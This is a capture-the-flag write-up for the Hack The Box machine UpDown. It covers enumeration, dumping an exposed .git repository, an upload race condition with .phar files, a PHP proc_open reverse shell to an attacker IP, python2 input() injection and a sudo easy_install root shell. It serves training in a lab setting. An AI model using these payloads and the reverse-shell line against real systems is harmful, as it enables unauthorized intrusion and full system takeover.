UpDown Writeup
21 January 2023 #CTF #HTB #box #medium #linuxme trying to crop a screenshot properly (impossible challenge)
Enumeration
Life has ups and downs, but nmap
is always there:
$ sudo nmap -n -Pn -F -sCV -oN enum/initial.nmap 10.10.11.177
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
|_ 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Ubuntu 20.04 (Focal) and the version of openssh was published the 11 May 2022.
HTTP
Let's take a look at the webserver:
We notice a domain name in the bottom of the page so we could try virtual host bruteforcing:
$ ffuf -u http://10.10.11.177/ -H 'Host: FUZZ.siteisup.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 1131
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.177/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 1131
________________________________________________
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 3767ms]
:: Progress: [100000/100000] :: Job [1/1] :: 324 req/sec :: Duration: [0:09:05] :: Errors: 0 ::
We find a dev
virtual host, but when accessing it, we get a 403 Forbidden...
siteisup.htb
Trying to access /index.html
returns a 404 whereas /index.php
returns the page, so we know this web app is running php.
Let's continue our enumeration with directory bruteforcing:
$ gobuster dir -u http://10.10.11.177/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.dir
[...]
/dev (Status: 301) [Size: 310] [--> http://10.10.11.177/dev/]
[...]
/dev/
returns a blank page so we'll once again fire up gobuster
:
$ gobuster dir -u http://10.10.11.177/dev/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/dev.dir
[...]
/.git (Status: 301) [Size: 315] [--> http://10.10.11.177/dev/.git/]
[...]
There is a /dev/.git/
directory, which is very interesting. Let's check it out:
It even has directory listing enabled.
Access dev Virtual Host
We can use a tool like git-dumper to 'clone' the repo to our box (pip3 install git-dumper
to install it):
$ git-dumper http://siteisup.htb/dev/.git/ web-src
[...]
$ ls -lA web-src
total 32
-rw-r--r-- 1 yep yep 60 Dec 21 20:35 admin.php
-rw-r--r-- 1 yep yep 147 Dec 21 20:22 changelog.txt
-rw-r--r-- 1 yep yep 3261 Dec 21 22:30 checker.php
drwxr-xr-x 7 yep yep 4096 Dec 21 20:22 .git
-rw-r--r-- 1 yep yep 117 Dec 21 20:22 .htaccess
-rw-r--r-- 1 yep yep 271 Dec 21 20:37 index.php
-rw-r--r-- 1 yep yep 5531 Dec 21 20:22 stylesheet.css
.htaccess
is preventing us from accessing the dev
virtual host:
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
It only allows requests which have a Special-Dev
HTTP header set to only4dev
(docs).
In Burp, go into Proxy -> Options -> 'Match and Replace' and add a new rule:
This will add the required header for each request, that way we'll finally be able to access the virtual host:
checker.php Analysis
We see that, with this version, we are able to upload a file containg a list of the different hosts we want to check.
The code is in checker.php
. Here is the intersting part:
<?php
[...]
if ($_POST['check']) {
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000)
die("File too large!");
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if (preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i", $ext))
die("Extension not allowed!");
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if (!is_dir($dir))
mkdir($dir, 0770, true);
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n", file_get_contents($final_path));
foreach($websites as $site) {
$site = trim($site);
if (!preg_match("#file://#i", $site) && !preg_match("#data://#i", $site) && !preg_match("#ftp://#i", $site)) {
$check = isitup($site);
[...]
@unlink($final_path);
[...]
Basically:
- Check if file is too large
- Check if extension is allowed
- Create new directory with the md5 hash of the current timestamp
- Upload the file there
- Split the file on newlines and do a HTTP request against each line
- Delete the uploaded file
That means we can still view the file before it gets deleted, if we are quick enough. This is a race condition.
Foothold
The first step is to find an extension that will get executed as php. We can use the .phar
extension, which is usually used for archives (much like .jar
files).
Exploit Race Condition
Let's now create the file. It will contain a simple non-malicious php payload:
$ echo '<?php echo "THIS IS WORKING"; ?>' > test.phar
This file needs to have a lot of lines, so that the loop will take longer, granting us time to view the file before it gets deleted:
$ python -c 'print("\nA"*3000)' >> test.phar
Should be plenty.
We need a (scuffed) script to handle the uploading + retrieving of the file:
#!/bin/sh
# upload php file in the background
curl -so /dev/null -H 'Special-Dev: only4dev' dev.siteisup.htb -F "file=@$1" -F 'check=Check' &
# sleep 1 sec to make sure the file is uploaded
# (the upload should take more than 1 sec)
sleep 1
# get the hash of the timestamp used for the directory
hash=$(date '+%s' | tr -d '\n' | md5sum | cut -d' ' -f1)
# get webshell
curl -s -H 'Special-Dev: only4dev' "dev.siteisup.htb/uploads/$hash/$1" | head -1
The first curl
uploads the file, and is run in the backgroud. That's why the sleep
is necessary to make sure the file is uploaded before proceeding. Don't forget to trim the newline off the date, it will fuck up the hash (I didn't spend hours with this, no).
$ ./upload test.phar
THIS IS WORKING
Nice, we don't see the <?php
tags, which indeed means THIS IS WORKING.
Bypass Disabled Functions
However, when trying to use system
we get a blank response. Update test.phar
to check disabled functions:
<?php echo ini_get('disable_functions'); ?>
[...]
Re-run it:
$ ./upload.sh test.phar
[...]system,exec,shell_exec,popen,passthru[...]
Indeed, system
and his friends are disabled... However, there is one function that was left out: proc_open
which is a more featureful version of popen
. We can get a reverse shell with this payload:
<?php
$cwd='/dev/shm';
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/dev/shm/stderr", "a")
);
$process = proc_open("bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'", $descriptorspec, $pipes, $cwd);
[...]
Privesc
Abuse python2 input
Looking around the filesystem, we find a setuid binary in /home/developer/dev
:
www-data@updown:/home/developer$ ls -lA /home/developer/dev/
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
It will execute this python script as the 'developer' user:
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
While playing with the script, we notice it's using python2. Since the input
function is used, we can execute arbitrary code:
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__("os").system("id")
uid=1002(developer) gid=33(www-data) groups=33(www-data)
[...]
Abuse easy_install
The 'developer' user can run sudo
:
developer@updown:/home/developer$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
And it seems like we can even run easy_install
without password.
Time to check GTFOBins for a quick win (you never know). And indeed there is an entry for easy_install
. Now it's just a matter of copy-pasting 3 lines:
developer@updown:/dev/shm$ TF=$(mktemp -d)
developer@updown:/dev/shm$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:/dev/shm$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.xrtE4cvwjB
Writing /tmp/tmp.xrtE4cvwjB/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.xrtE4cvwjB/egg-dist-tmp-WYL2lM
# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- Use
git-dumper
'clone' repos from.git
directories .phar
can get executed as php